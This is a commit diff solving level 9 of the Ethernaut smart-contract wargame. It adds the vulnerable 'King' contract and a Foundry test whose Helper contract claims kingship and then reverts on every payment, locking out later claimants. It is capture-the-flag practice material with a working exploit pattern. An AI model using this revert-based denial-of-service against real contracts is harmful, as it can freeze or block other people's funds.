feat: solve ethernaut lvl 9

src/Ethernaut/King.sol

@@ -0,0 +1,25 @@
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+contract King {
+  address king;
+  uint256 public prize;
+  address public owner;
+
+  constructor() payable {
+    owner = msg.sender;
+    king = msg.sender;
+    prize = msg.value;
+  }
+
+  receive() external payable {
+    require(msg.value >= prize || msg.sender == owner);
+    payable(king).transfer(msg.value);
+    king = msg.sender;
+    prize = msg.value;
+  }
+
+  function _king() public view returns (address) {
+    return king;
+  }
+}

test/Ethernaut/KingExploit.t.sol

@@ -0,0 +1,47 @@
+// SPDX-License-Identifier: GPL-3.0
+pragma solidity ^0.8.0;
+
+import '../../src/Ethernaut/King.sol';
+import '@forge-std/Test.sol';
+import '@forge-std/console2.sol';
+
+contract Helper {
+  constructor(address payable _target) payable {
+    King king = King(_target);
+    uint prize = king.prize();
+    (bool success, ) = address(_target).call{value: prize + 1}('');
+    require(success, 'Low-level call failed');
+  }
+
+  fallback() external {
+    revert();
+  }
+}
+
+contract KingExploit is Test {
+  King target;
+  address deployer = makeAddr('deployer');
+  address exploiter = makeAddr('exploiter');
+
+  function setUp() public {
+    vm.startPrank(deployer);
+    target = new King();
+    console2.log('Target contract deployed');
+    vm.deal(exploiter, 1 ether);
+    vm.stopPrank();
+  }
+
+  function testExploit() public {
+    address king = target._king();
+    console2.log('King: %s', king);
+    assertEq(king, deployer);
+
+    vm.startPrank(exploiter);
+    Helper helper = new Helper{value: 1 ether}(payable(target));
+    vm.stopPrank();
+
+    king = target._king();
+    console2.log('King: %s', king);
+    assertEq(king, address(helper));
+  }
+}